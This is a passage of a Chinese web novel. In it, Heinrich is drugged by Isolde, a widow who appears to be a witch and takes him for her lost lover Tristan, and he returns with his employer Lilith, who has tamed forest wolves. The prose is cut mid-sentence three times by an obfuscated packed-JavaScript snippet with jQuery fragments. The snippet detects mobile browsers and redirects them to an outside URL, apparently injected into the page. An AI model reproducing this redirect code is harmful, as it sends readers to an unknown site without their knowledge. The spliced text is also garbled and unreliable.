“那么去告诉你家女主人,我是海因里希·施密德尔·冯·法兰克福奥美因,施密德尔子爵的继承人,被土匪抢劫后在森林中迷路,我请求她的帮助。” 女仆点了点头,将他引进门去,示意海因里希在门廊里等候一段时间。海因里希抬起头,借着烛台光看见城堡内部的石墙上斑驳不堪,长满了青苔与腐烂的霉菌,不像是有人长久居住在此的样子。 半晌,女仆端着烛台回来告诉海因里希:“我带您去见她。” 湿漉漉的海因里希穿过幽深黑暗的长廊,顺着高不见顶的旋转楼梯一层一层往上。在女仆的带领下他走进一个散发着诡异香气、堆满各种杂物瓶瓶罐罐的温暖房间。只见房间正中央竟摆着一个等身高的巨大坩锅,里面炖煮着什么不断咕嘟咕嘟冒泡泡的汤药。有一个身着华丽黑裙的白发女人站在一个半人高的三角阶梯上搅拌着坩锅里的东西。她的个子较矮,似乎比莉莉斯还要矮半个头左右,远看过去仿佛是一个洋娃娃。 “尊贵的客人!真是有失远迎。希尔德,快带他进来。让我来仔细看看他。呀!您怎么全身都湿透了,快来喝一碗热汤暖暖身体吧!” 那女人的声音又尖又细,却带着一层淡淡的沙哑,叫人听不出她的年龄。白发下的一张脸上涂满了惨白的铅粉,嘴唇与眸子都像是涂了鲜血一般红,仿佛一个纸糊的假面般可怖而瘆人。 她用铁勺舀了一勺锅中线绿色的汤药装进碗里,随后连忙爬下阶梯,急匆匆地走到海因里希面前,亲切地踮起脚尖伸出手去抚摸海因里希额上淋湿的碎发,望进他淡蓝色的眸子——突然,她像是受了惊吓一般尖叫着打翻了乘着绿汤的瓷碗,瓷片碎了一地。 “啊!特里斯坦,你是特里斯坦!”那女人如发了疯般歇斯底里地大喊,全然不顾滚烫的汤药泼洒在了她的手上,激动不已地张开双臂紧紧拥抱住不知所措的海因里希,口中继续念念有词,唠叨着一个海因里希从未听过的名字: “特里斯坦,特里斯坦,您终于回来了!我是伊索尔德,我是你的伊索尔德,我很想很想您,我一直在这里等您!” “我不是特里斯坦,我的名字是海因里希。”海因里希直截了当地打断了对方的呓语,“您认错人了。” “不!不!不!您就是我的特里斯坦,您与他长得那么像,那么英俊,那么可爱……您只要喝了这个……就会变成我的特里斯坦……”自称伊索尔德的白发女人失魂落魄地向后退,一直退到堆满各色瓶瓶罐罐的橱柜前。她狂躁地从柜子里翻出一个装着血红色液体的玻璃瓶,拔出软木塞,怪笑着向海因里希靠近。 “你要对我做什么!?”海因里希这才意识到自己已然陷入了女巫的陷阱。当他正打算转身逃跑时,才发现那个引她进入城堡的女仆已经绕到他身后,猛地抽出胳膊将他裸绞在地。 “别怕,特里斯坦,我绝对不会伤害您,我只是想让您回到我的身边。”伊索尔德掐着嗓子,用尖细到刺耳的声音安抚着,随后迅速将血红色的药剂泼洒在他的脸上,药水不受控制地流进海因里希的嘴里,他的意识逐渐消散解离,直到他彻底昏倒过去。 38.阔别已久的恋人 海因里希做了一场很怪异的梦。梦中他看见蓝色的火焰围成圈在他的身边熊熊燃烧,空气中弥漫着甜到令人作呕的怪异香气,女人念着未知咒语的声音在他的耳边不断回响,有什么湿漉漉的、散发着铁锈味的东西滴上了他的皮肤—— “特里斯坦……特里斯坦……我亲爱的特里斯坦……呀!您终于醒来啦!” 海因里希睁开眼,发现自己正躺在一张温暖舒适的大床上,与之前看到城堡里破败阴森的景象大相径庭。他的身上也已经被擦洗干净,还换上了一身干净的新衣。白发的伊索尔德正坐在床边,含着笑温柔地看着他。 海因里希吓了一跳,慌不择路地从床上爬起来大喊道:“发生了什么!?” “别担心,伟大的骑士特里斯坦,我最亲密的恋人。我只是让仆人带您去洗干净身体,换上了干净的衣服好好休息。请放心,您的初恋情人是一个贞洁的女人,不会被一时的欲望蒙了心。别害怕,我绝不会伤害您。” “我睡过去了多久?”海因里希意识到莉莉斯还在森林里等他,焦急不已地问。他环顾四周,发现窗外还是漆黑的夜,但雨已经停了。森林里除了时不时传来乌鸦的啼鸣以外是一片寂静。 “没多久,约莫也就过去了两三个小时而已。我给您准备了丰盛的晚宴,快随我一起去餐厅用餐吧,您以前最喜欢吃我做的烤猪肘还有土豆泥啦。自从来到意大利后我还学会了好多这里的料理。您在外面冒着雨走了那么久,肯定饿坏啦……” 海因里希感到有些绝望。眼前这个女人似乎完全沉浸在自己的幻想中,一点正常交流的办法都没有。他发誓他这辈子从来没有见过她,也完全听不懂她在说些什么。初恋情人?莫非是把他错认成了什么阔别已久的初恋情人吗? 如果抛开那些前言不搭后语的话和她难以琢磨的行为动机,而是单独按照这里的客观环境判断的话会得出什么信息呢?首先,按照这座城堡的规格,这里的女主人最差也应该是个领主才对。可是之前那位被称作希尔德的女士说过,她与她的女主人都是德国人,她现在也对海因里希说着流利的德语。那么她便不会是在意大利出生的贵族,而大概率是被德意志贵族送过来和亲的贵族小姐。可是结合看她对自己的态度,以及如莉莉斯般全身漆黑的装束,或许她也是一名寡妇? “还是说您想再睡一会儿呢?我会让仆人每隔半小时热一遍已经做好的食物,您什么时候饿了再吃。要是口感不好了,我就重新再给您做一份。我还准备了您以前最爱喝的黑麦生啤……我敬爱的特里斯坦,我是您最坚贞的恋人,最忠诚的奴仆,您想怎么办都可以,我都依您。” 海因里希陷入了尴尬的沉默。比起用餐或者继续睡觉,他现在更加担心森林里莉莉斯的安危。可是这座城堡里又真的安全吗?如果把莉莉斯接过来,究竟是能够救她一命还是害得她也不得不陷入女巫的陷阱呢? 他再次看向伊索尔德那双诡异的红眼睛下温柔顺从的笑脸。如果她真的想要伤害他,无论是强迫他成为奴隶,还是将他大卸八块做成女巫汤药的原材料,她刚刚都有机会在女仆控制住他的那一瞬间就此实施,根本没有必要特意等他睡醒,还为他准备丰盛的佳肴,像是款待一位高贵的座上宾一般顺从地侍候在他身边。 只是她仍然坚称他就是“特里斯坦”,而戳破她的幻想似乎等同于拨弄她的逆鳞。海因里希决定赌一把,请求伊索尔德给他提供物资,让他能够把莉莉斯接到这里。为了安抚伊索尔德的情绪,他得顺着她的自导自演继续演下去。好在海因里希在莉莉斯身边待了那么久,为了隐藏身份每天陪她演戏,早已经不再是初到威尼斯时那个说假话会脸红心跳的单纯少年了。 “既然如此,伊索尔德。”海因里希清了清嗓子,试图让自己进入角色,“我迫不及待想要享用您为我精心烹饪的佳肴。可是恕我当下无法从命。因为……我最好的朋友,威尼斯克纳罗家的莉……洛伦佐,还在那幽暗而神秘的森林中等待着我去救他出来。” “哦天呐!他为什么没有与您一同来到我的城堡呢。”伊索尔德吃惊地捂住嘴巴。 海因里希想到了莉莉斯裙子上的血:“我们的马车被土匪毁坏,而他的腿部受了重伤,实在无法踏过这片泥泞的土地,难以穿越这丛可怖的树林!善良而美丽的伊索尔德啊,请允许我向您借用一匹捷足的骏马,让我去森林里将我的伙伴带来吧。” 伊索尔德紧紧皱着眉头,像是在担心着些什么。犹豫了半晌后,她终于开口道:“……我敬爱的特里斯坦,只要是您的愿望,我就一定会满足您。我只有一条最卑微的请求,请您千万千万不要离开我了!莫非拯救朋友只是您善意的谎言,实际上是要又一次抛下我离我而去……” “哦,不,当然不是……美丽的伊索尔德,请你信任我。”海因里希尴尬地倒吸一口冷气,“我对这片森林一无所知,能够辨别方向找到出去的路已属不易,如果没有您的帮助,我根本不可能找到出去的路。我的朋友身负重伤,危在旦夕,无论疲劳与饥饿都比我严重数倍不止。除了将他带来这里接受您仁慈的款待,我又有还有什么可以做的呢?请您可怜可怜我的挚友,莫要让他在悲惨与孤独中死去!” “最慈悲的天主,请您一定要保佑这位善良的友人!特里斯坦,我会让希尔德为您准备最捷足的快马,让您尽快去森林中拯救您不幸的朋友。但是我得将您的包扣留在这里作为抵押,以免您……又一次欺骗我,离开我。” “不会的,美丽的伊索尔德,我绝不会离开您,请相信我。” 伊索尔德即刻站起身来,招呼女仆为海因里希准备马匹,还有照明用的火把与应急的绷带。海因里希默默将佩剑挂在腰带上,心里说不上来地有些堵。类似的话他对莉莉斯也说过许多遍,几乎每一遍都是为了复仇而编造的谎言。可莉莉斯是个再精明不过的威尼斯女人,同样的谎言得要重复许多许多遍她才会觉得有一丝可信。然而,这位如女巫般独居在城堡中的伊索尔德却比他想象得要天真好骗得多。 海因里希突然感到很恶心。他发自内心地厌恶着这样一个满口谎话,逐渐擅长利用他人来满足目的的自己。而更加令他恶心的是,这种犯恶心的感觉已经很久都没有困扰过他了,因为他在一点点变得麻木。他依稀还记得他第一次在莉莉斯面前谄媚求生后那种如释重负却又反胃想吐的冲动。 从前,为了抵抗这种罪恶感,他总是不断说服自己,欺骗莉莉斯情有可原,这一切都是为了完成复仇的使命而已。可欺骗伊索尔德又有什么大义凛然的借口能够合理化他的行径呢?在虚假的承诺之外,他甚至下意识就隐瞒了莉莉斯的性别——他为自己的老练感到悲哀。而现在他不得不重新收拾行囊,再次以身涉险去救莉莉斯,去救那个害他变成这副模样的罪魁祸首。 伊索尔德果然信守承诺为他准备了一匹识途的老马,还有照明的火把、煤油灯、一套干净的男装以及基础的包扎工具。海因里希根据指南针的引导朝他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092176|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的方向一路疾驰,很快便深入进一望无际的森林里。 / 森林的另一边,被土匪洗劫一空的营地。 莉莉斯将她能够找到的所有干燥的布料盖在自己身上,却还是感到浑身发冷,而额头上又出奇得烫。尽管雨已经停了,但树枝上浸满了雨水无法点着,她不可能生火取暖,只能尽量保护自己的体温不要继续向寒冷的空气中发散。 她腹部的疼痛就像是一个顽劣的孩子,时而消停下来,时而又死死地向肉中绞去,折磨得她一边打滚一边发出痛苦的呻吟。 海因里希到哪儿了?他是否找到了能够帮她的人,是否决定抛下她自己离去,是否已经因为过度疲劳迷失方向昏死在了森林里?她不知道,也不敢抱有幻想。她只知道她还不能死,无论如何她都不能就这么轻易地死去。她必须回到威尼斯去,为了仰仗她而获得了新生的埃莱娜、塔塔、伊万卡;为了对她寄予厚望的埃莱娜和克拉拉;为了等着她回去一起玩一起聊天的索菲亚;为了她的事业,为了她自己。 忽然她听见一阵风动。是海因里希来了吗?她看见黑暗中浮现出几双泛着诡异绿光的眼睛正在向她缓缓靠近。月光照亮了它们灰黄色的毛皮——是栖息在森林中的野生狼群,他们对着月亮仰天长啸,向莉莉斯步步逼近,露出尖利的獠牙。 / 城堡里的伊索尔德透过高塔的窗户望着在森林中移动的微小光点,兴致勃勃地在熬煮绿汤的坩锅里加入新的材料,盖上锅盖,撤掉一些柴火转成小火慢炖。希尔德在一旁为她清理魔法仪式后地上留下的一片狼藉——用鲜血写就的咒语,点燃火焰的燃料,散落在地上的草药。 “希尔德,你说,既然特里斯坦的灵魂已经住进了他的身体里,为什么他似乎忘记了我与他之间的过往……而且还会记得原身在森林中发生的事呢?”伊索尔德从阶梯上走下来,翻开一本陈旧的魔法书。 “夫人,我不懂这些。” “或许是最近的记忆与从前的过往融合,他还没有完全适应新的身体吧。”伊索尔德一边翻阅书页和笔记,一边琢磨着能够自圆其说的解释,“再等等吧……特里斯坦一定会想起我来的。” 她靠在软塌上,好奇地打开了海因里希扣押在这里的挎包。地图、匕首、吃剩的东西、无聊的文件、还有……一把梳子?梳子的材质温润如玉,却比石料更轻,有着红与黑相间的花纹,似乎是由价值不菲的玳瑁壳制成。顶端用贝母和珍珠镶嵌出花朵的图案,精致不已。这么漂亮的梳子……倒像是女人用的东西。 也说不定只是他自己喜欢梳头呢,贵族男士,尤其是生活在意大利的男人注重仪表并不稀奇。伊索尔德努力说服自己,皱着眉头继续翻找下去。直到她翻出了一条女人穿的灯笼裤。 / 当海因里希再次回到这一片营地的时候,东方已经泛起了灰白色,微弱的阳光逐渐照亮乌云密布的天。被土匪残忍杀害的一地尸体泡在泥地里沤出浓浓的腐臭气息。有几只如大型犬般体型的野狼正伏在地上啃食那些死肉。一具尸体的躯干已经被啃得很干净,肉下白森森的肋骨上只剩下难咬的肉筋。 海因里希条件反射地抽出佩剑挥舞大喊,很快便吓退了这些酒足饭饱的野兽。可他却迟迟不敢走近到莉莉斯的马车前。既然这些狼已经来了好一会儿,那么莉莉斯她是否还安然无恙……?他犹豫地跳下马,牵着马缓缓向马车车厢走近,看见车门外横陈着一只被啃得只剩白骨的手臂。 39.野狼的零食 海因里希怔怔地站在原地,不愿意去相信自己眼前看到的一切。他闭上眼深呼吸,却听见了车厢里传来野兽撕咬进食的声音。莉莉斯是否还在这架马车里面?她不会已经…… 想到这里,海因里希心头一紧,眼泪不受控制地从眼眶中潸然落下。他说不上来自己为什么会哭。他的脑海中闪过与莉莉斯分别时她挤出的那个无奈的苦笑。莫非当时莉莉斯其实就已经知道她的身体状况无法使她离开森林,因为不想给海因里希拖后腿,才让他独自带上物资去找外援,实际上却是做好了牺牲她自己的准备? 海因里希突然后知后觉地发现,尽管莉莉斯对素未相识的未婚夫痛下杀手,尽管她与杀父仇人有勾结,尽管她心狠手辣地去扫清每一个给她造成威胁的障碍,但她对待每一位下属、每一位合作伙伴、甚至每一位客户却都尽职尽责,鞠躬尽瘁,努力维护他们在外的权益不让他们受一点委屈。尽管她有一些恶劣的小癖好,但海因里希并不反感,一点也不讨厌。 反而是他自己,一边背着莉莉斯实施他的复仇计划,一边又暗自享受着与她共处的时间。退一万步讲,在他计划的最终点,他也从来没有想过要让莉莉斯死去。他只是想让她切身体会他所体会过的痛苦,想让她意识到滥杀无辜的错误——可要是她死了,那么一切就都结束了。海因里希也不会再有如愿以偿的那一天。 明明也就在一天之前的早晨,莉莉斯还懒洋洋地躺在他的床上,抱着他送给她的兔子玩偶迎接黎明。这次出行救是个天大的错误,他们早在疯子乞丐预言时便该知难而退,说不定莉莉斯还能逃过一劫,而不是像现在这样被一群野兽残忍分食,甚至连尸体都不能保全。 海因里希越哭越崩溃,到最后甚至坐在地上像个孩子似地嚎啕大哭起来。他回想起莉莉斯狡黠的笑容,耳边徘徊着莉莉斯用意大利语口音念出他的名字时那种特有的俏皮感。海因里希,海因里希……那声音如此真切,仿佛她此刻就在他的身边,直到他听见一声暴躁的大喊。 “喂!海因里希!我在跟你说话!” 海因里希抬起头,看见莉莉斯掀开了马车的帘子,从里面探出头来。只见她的手里握着一只被啃到一半的血淋淋的人手,有一只灰黄色的野狼正像小狗般驯顺地在她脚边接受她的投喂,还有另一只吃饱喝足的狼乖巧地趴在她的大腿上接受她的抚摸与亲昵。 “你不会是以为我被野狼吃掉了吧?”莉莉斯得意地笑着,“其实它们可乖了,比你还乖咧。” “……”海因里希沉默着擦干脸上的泪水,为自己刚才过于丰富的心理活动感到郁闷不已,“您没事就好。” “我也很高兴能够见到你安然无恙地回到我身边。怎么啦,一幅委屈吧啦的表情。你也过来,我来帮你擦擦眼睛吧。”莉莉斯笑着勾了勾手指,海因里希只好乖乖凑上前跪在莉莉斯的身侧,挤在那两只狼中间。 “您看,我为您带来了马匹,正要接您去安全的地方好好休息。”海因里希晃了晃手里的缰绳,“您却说外面的野狼比我还乖。” “你跟它们一般见识干嘛。”莉莉斯撕开一块宝贵的干净纱布,为海因里希仔细擦干脸上的泪痕,“我昨夜痛经得厉害,好几次疼晕过去,醒来的时候发现这只母狼像是能感知到我的痛苦一般钻进了我怀里为我取暖。等我醒来恢复力气了,就用匕首去砍了一些零食喂给它们吃。“ “零食……?”海因里希看向那只被啃到一半的人手。 “就是外面躺着的那些尸体。虽然它们自己也可以去吃,但是它们好像很喜欢和人待在一起。是不是呀,莉娜?” 莉莉斯揉了揉趴在自己身上的那一只狼,对方愉悦地摇着尾巴眯起眼睛。另一只狼则好奇地凑到海因里希身旁嗅了嗅他身上的味道,被海因里希嫌弃地赶到一边。 “莉娜……?” “毕竟是救了我一命的狼,给她起个名字也没什么吧。”莉莉斯察觉到海因里希不友好的小动作,“你们要和谐相处,不许争锋吃醋哦。” “……知道了。” “好了,闲话不多说,你来告诉我这匹马是哪里来的吧,你要把我带到哪里去?” 海因里希将事情的经过几乎原封不动地告诉了莉莉斯:阴森的古堡,古怪的女仆,被认错的窘迫,被下药的无措,与伊索尔德你来我往的周旋与虚情假意的承诺。说完之后海因里希自己都感到有些心虚。他对另一个人说了那么暧昧的话,莉莉斯她会生气吗?他静静等待莉莉斯给出下一步指示的决定。 “那么说来,她是一位富有的领主夫人,还是一名寡妇。那可太好了,完完全全就是咱们储蓄业务的目标客户。”莉莉斯两眼放光。 “可您不觉得她的城堡里处处透露着诡异吗……?我在她的塔楼里看到了一口巨大的坩锅,里面有绿油油的魔法汤药,还有橱柜里数不清的草药和不明成分的溶液,我至今不知道她究竟给我灌了些什么,说不定她真的是一名女巫。”海因里希有些担忧莉莉斯是不是找错了重点。 “太好了。自从我被指认成女巫之后,就一直想认识一名真正的女巫学习交流一番,和她做朋友。你还记得玛丽亚最后一次拜访我时说的话吗?她说她找了一位草药女巫给她开出了堕胎的药方。在杏仁脆饼里下药之类的手段,说不定也是女巫教给她的诡计呢。” “可这位女巫她……坚持说我就是她的初恋情人,我该怎么办?” “如果我们能帮她戳破她的幻想,也算是帮了她一把,不妄我们借走她的马匹,接受她的款待,以及后续还要拜托她把我们带出森林。让我来搞定她,你先继续演着,不用太担心。” “您打算怎么做?” “先过去休整一番,走一步算一步吧。即使是女巫的巢穴,也比强盗横行的森林好一些。我们现在也没有更好的办法了。” “遵命。” “然而,作为你的老板和女主人,我还是不得不提醒你一句,海因里希,虽然我知道你是为了稳住局势才说了哄骗她的话语,但是做我们这个行业,最重要的就是与人建立信任……特别是面对潜在目标客户。记住,以后无法兑现的承诺不要再说出口,谎话说多了,就再也没有人敢相信你了,谁又会把资金交给无法信任的人呢。除非笃定了是要杀人灭口的,那就另当别论了……” “……我知道了。” “不过面对这样一个奇怪的家伙……一些无伤大雅的善意谎言确实能让事情变得更顺利。所以我得以男性的身份出现在她面前,免得她误会了我们的关系。” 海因里希应声从伊索尔德为他准备的行囊里掏出一套干净的男装。 “完美。那么你先出去一下,我换套衣服,接下来我们就出发吧。” “它们不用出去吗?”海因里希瞥了一眼莉莉斯怀里的狼。 “我们还要再讨论一下接下来的安排。”莉莉斯将莉娜紧紧抱在怀中,“讨论下她是否愿意和我一起回家。” 过了一会儿,莉莉斯患上一身男装,用带血的纱布伪装成腿部受伤的样子,这样既可以使海因里希的谎言能够自圆其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104982|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,也方便莉莉斯后续继续要来更多的纱布清理经血。 “商量得怎么样?” “她说她想继续陪伴她的家人留在这片森林。”莉莉斯指了指刚刚被海因里希赶在一边的几只小狼,一本正经地称赞,“她是一名了不起的母亲,我尊重她的选择。” 海因里希深呼吸了一口气,从莉莉斯的手里接过发圈,将她的长发高高束起。意大利的贵族男士注重外表,留长发的人不在少数,莉莉斯的竞争对手兼追求者洛伦佐就是其中之一。而莉莉斯脸上的妆容也早就被雨水冲刷干净,加上灰头土脸的面孔与脏兮兮的头发,一幅邋遢的打扮下倒还真有些雌雄莫辨的意味。 “要我抱您上马吗?” “不用,我可是学过骑马的人。”莉莉斯摆摆手,按照之前练习过的方式捏住缰绳与马儿的鬃毛,正打算踩住脚蹬跨坐上去,突然腹部又一阵疼痛袭来,疼得她整个人如虾般卷曲起来,差点又从马上跌了下来。 “还是很疼吗?” “你也来一次就知道有多疼了。”莉莉斯揉了揉肚子,在马上缩成一团。 海因里希叹了口气,从莉莉斯的手里拿走缰绳,调整了一下脚蹬的位置,自己也跨坐上马,让莉莉斯坐在自己身后乘坐。莉莉斯不得不紧紧搂住海因里希的腰靠在他的背上。她以前抱过海因里希很多次,但那么长时间贴在一起却是第一次。莉莉斯觉得海因里希的腰和背都是硬邦邦的手感,抱着不怎么舒服,手感比刚才和她玩的狼要差得多。 等他们抵达城堡的时候天已经全亮了,只是太阳被厚厚的云层蒙住,天空始终是灰暗的颜色。女仆希尔德为他们打开城堡陈旧的大门。莉莉斯为了做细做足全套,从树林里捡来一根树枝,让海因里希帮她削成木棍,当成拐杖拄着一瘸一拐地走到城堡大门前。 “欢迎回来,夫人在会客厅里等着您。这位想必就是洛伦佐先生。” 莉莉斯皱起眉头,除了“夫人”与“洛伦佐先生”,她一个字也没听懂,却听到海因里希正十分自然地与女仆对答如流。 “是的。承蒙夫人的关怀,他好多了。”他说完后才意识到不对劲,但已经来不及了,只能先扯开话题为莉莉斯的沉默找补,“洛伦佐先生他来自威尼斯,听不懂德语,我会为他翻译的。” “不用。”女仆冷冰冰地打量了一眼莉莉斯,立刻切换成意大利语,“随我来吧。” 女仆领着二人穿过幽暗的走廊向城堡深处走。莉莉斯故意走得很慢,扯了扯海因里希的衣角挤出一个充满质疑与不满的神色。虽然没有说话,但海因里希不知为何成功领略到了莉莉斯的意思: “你原来会德语,为什么不告诉我?” “现在不是说这个的时候。”海因里希也没有开口,给莉莉斯回了个表情,希望她能听懂。 “管我叫洛伦佐又是为什么?!”莉莉斯继续愤愤不平地递眼色。 “之后,之后再说。”海因里希深呼吸了一口气,抬起右手悄悄做出往后推的手势。 女仆将他们带入了一个陈旧破败的会客厅,客厅的中央摆着一幅巨大的肖像画,是一个面色严肃凶狠,长满白胡子的秃顶老人。伊索尔德坐在画像前的沙发上,仿佛在被画中之人时刻注视着一般,看着让人很不舒服。在看到海因里希与莉莉斯向她走来时,她的脸上浮现出哀伤的表情。 “特里斯坦,”她静静地用德语对海因里希说,“您说的这位洛伦佐先生,其实是一位女士吧。我在你的包里看见了一把女人用的梳子,还有……这个。” 40.谎言与美梦的筵席 嗯?什么? 莉莉斯一整段话统共只听懂了女人两个字,她愣了一下,突然灵机一动,张开双臂“哼哼哼”地开怀大笑,把声音放低,大言不惭地用散装德语叽里咕噜地拼凑起句子来: “女人!对,女人!啊哈哈,我真希望自己能是个女人。”她眨了眨眼睛,实在说不出德语来,干脆用意大利语继续说下去,“若我也是个女人,便能像您一样,不仅能成为美的欣赏者,还能成为美丽本身了。您的头发颜色仿佛冬日的初雪,您的眼睛像是最昂贵的红宝石,能够见到您这么美丽的女人,真是我的荣幸。” “您可真会说话。”伊索尔德从未听过如此夸张的赞美,不禁有些不好意思地掩住脸,用意大利语回应道。过了一会儿她才又想起来自己产生质疑的原因,两指拎起那条灯笼裤,再次提问:“那这个东西……请问是?” “哎哟喂!”莉莉斯突然猛地推了一把海因里希,试图模仿油腻男人的嘴脸,努力挤出一个猥琐的笑容,“哥们儿~你的小秘密被发现咯!这可怎么办?快解释解释吧!哎哟!在女性面前说这些可太不优雅咯!” “什么!?”海因里希根本不知道该怎么接话。 “算了,瞧他脸红的,夺不好意思啊,还是我来说吧。”莉莉斯四处张望一番,偷感十足地用一只手遮住嘴,“他那里的尺寸比较异于常人,得用宽松些的底裤,否则会磨得不舒服……” “放肆!怎么能在夫人面前说这些污言秽语。”女仆希尔德厉声制止了她。而伊索尔德却只是红了脸,有些害羞地移开视线,对莉莉斯的话不置可否。 “我错了我错了我错了,尊贵的夫人,请您千万千万宽恕我的冒失与无礼。我与伙伴在森林中迷失,幸得您的慷慨相助我们才能死里逃生。等我回到威尼斯,我一定会倾尽所能报答您的救命之恩。而在客居您的城堡的这段时间,请让我成为您最忠诚的朋友吧,我一定会让您享受与我共处的时光。” 说着,莉莉斯拄着拐杖走上前去,在伊索尔德面前弯下腰,伸出右手去握她的左手,在她的手背上留下一个吻。她仔细观察着伊索尔德的反应,白发红颜的女郎似乎不再质疑她,而是对莉莉斯微微弯起了唇角。 “我是阿尔塔伯爵夫人,您可以叫我伊索尔德。我身后画像里的便是我的前夫,他已经去世了……有些年头了。而您身畔的这位朋友……他刚刚找回了失去的记忆。他真实的名字叫做特里斯坦,是我阔别已久的初恋情人。” “这可太好了!有情人终成眷属,我最喜欢见证这样幸福美满的时刻。以及,我是威尼斯克纳罗家族的洛伦佐,您可以直接叫我洛伦佐。”莉莉斯有些不自在地自我介绍道,说出那家伙的名字就已经让她有些犯恶心了,更别说还得接受自己被这么称呼。 “洛伦佐先生,您应该也饿了,我为您们准备了丰盛的菜肴,请稍稍移步至餐厅就餐吧。”伊索尔德笑着站起身,走在前面将众人向餐厅中带去。莉莉斯跟在后面拄着拐杖往前,突然感觉小腹一整绞痛,痛得她五官瞬间拧在了一起。海因里希条件反射想要扶住她,却被她狠狠瞪了回去,示意他回避。 下一秒,莉莉斯紧紧抱着“受伤”的腿,跌倒在冰冷的瓷砖地上。 “洛伦佐先生!您还好吗?”伊索尔德焦急地转过身。 “不要紧,不要紧,只是一不小心扯到了伤口……” “需要我为您重新包扎一遍吗?” “包扎倒是暂时不用,您或许有能够止疼的药水吗?我有些关节疼痛的老毛病,现在老伤新伤叠在一起,才会略有些不方便……” “有!我这就去为您拿来。希尔德,去把老头以前用的那把带轮子的座椅推过来。” 一眨眼便支开了主仆二人,莉莉斯捂着肚子站起来,走去捡被丢在远处的道具拐。 “解释一下吧。”莉莉斯冷冷地抬起头瞪向海因里希,“比起她的巫术与谎言,我更想知道你为什么会一直向我隐瞒你会德语这件事。” “在成为您的仆人之前,我曾在德意志居住过很长一段时间,只是水平并不好,所以并没有跟您提起过……”海因里希躲闪着眼神。 “骗子。你刚刚说得比那个帕多瓦大学的翻译还要流畅。海因里希,你害我白白损失了两个杜卡特给那个叫丹特的懦夫。早知道你会德语,我还请他干什么?你等着,之后我会找你算账的。”莉莉斯忿忿地白了他一眼。特殊情况之下,她有更多的质疑也只能暂时按下不表,等有机会了再全部问问明白。 没过多久,女仆希尔德推着轮椅过来让莉莉斯坐下,带领二人落坐在餐厅后便走进了一旁的厨房里去。伊索尔德拿来了一小瓶无色无味的药水,嘱咐莉莉斯在饭后倒出一些喝下去。 餐厅的布置仍然透露着陈旧,连桌布上都散发出一种被压在箱子里许久没有拿出来的霉味儿。莉莉斯望向伊索尔德过分纤瘦的身体,猜测她肯定平常都没有好好吃饭。况且在进入城堡之后,从始至终她都只看见过伊索尔德和女仆希尔德两个人。要管理这么大的城堡还要负责主人与客人的饮食起居,希尔德一个人真的能忙得过来吗? 当金发的女仆将前菜端上桌面摆在莉莉斯面前的时候,莉莉斯着实被吓了一跳。绿油油灰蒙蒙的汤料里十分浑浊,上面还漂浮着焦褐色的不明碎屑,看着实在不像是人能喝的东西。 “这是我最喜欢的浓汤,亲手熬制的,你们快来尝尝吧。”伊索尔德笑着对莉莉斯介绍道,随即立刻用勺子挖了一口送入自己口中。 莉莉斯犹豫了一下,但是看着伊索尔德吃得这么香,自己又已经大半天都没有进食,肚子饿得直叫,只好也舀了一点尝了尝—— 入口是新鲜罗勒与坚果碎组成的浓烈异香,紧接着舌尖感受到浓汤丝滑细腻的口感,里面混杂着芹菜的香气,风干菌菇碎的淡淡咸鲜,最后是胡萝卜与南瓜的微甜回甘。 “上帝保佑,这也太好吃了吧!” “嘻嘻,喜欢的话就多吃点吧。还有呢。” 莉莉斯难以置信地感叹道,怕是自己饿太久出现幻觉了,又赶紧大口咽下去几勺,美味竟丝毫不减,她才能够确定自己是真的吃到了好东西。不会是女巫在里面加了什么适口的魔药吧?管不了那么多了。莉莉斯风卷残云地将浓汤喝完,随即便用无比感恩的眼神看向伊索尔德: “尊敬的阿尔塔夫人,美丽的伊索尔德女士,我不是在与您客气,但这绝对是我这辈子吃过最美味的蔬菜浓汤。” “谢谢您的夸奖。这些都是我自己种的菜,之后等天气好了,可以带你去看看城堡后面的园子。” “好啊!这是我第一次离开威尼斯,您知道的,岛上都是楼房没有田地,新鲜蔬菜也很稀少,我还从来没有见过菜园子是什么样,但我能想象打理土地一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109409|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非常辛劳,您可真是太手巧了。” “自从我来到意大利后,我也从未去过其他地方。总听说威尼斯是整片地中海最富饶的所在,真想以后有机会能去参观。” “您要是来了,我一定以最高的规格接待您,让您品尝最新鲜的炸海鲜、炒牛肝还有墨鱼汁意面。我们那边紧靠着港口,有最新鲜的海鲜,别的地方都吃不到,您一定会喜欢的!” 海因里希默默地围观着两个女人竟你一句我一句地聊起了美食与不同地方的风土人情,聊得十分开心。伊索尔德的意大利语很流利,和莉莉斯并没有任何沟通障碍。反倒是海因里希被夹在中间,不知道该说什么,只是一直保持安静。 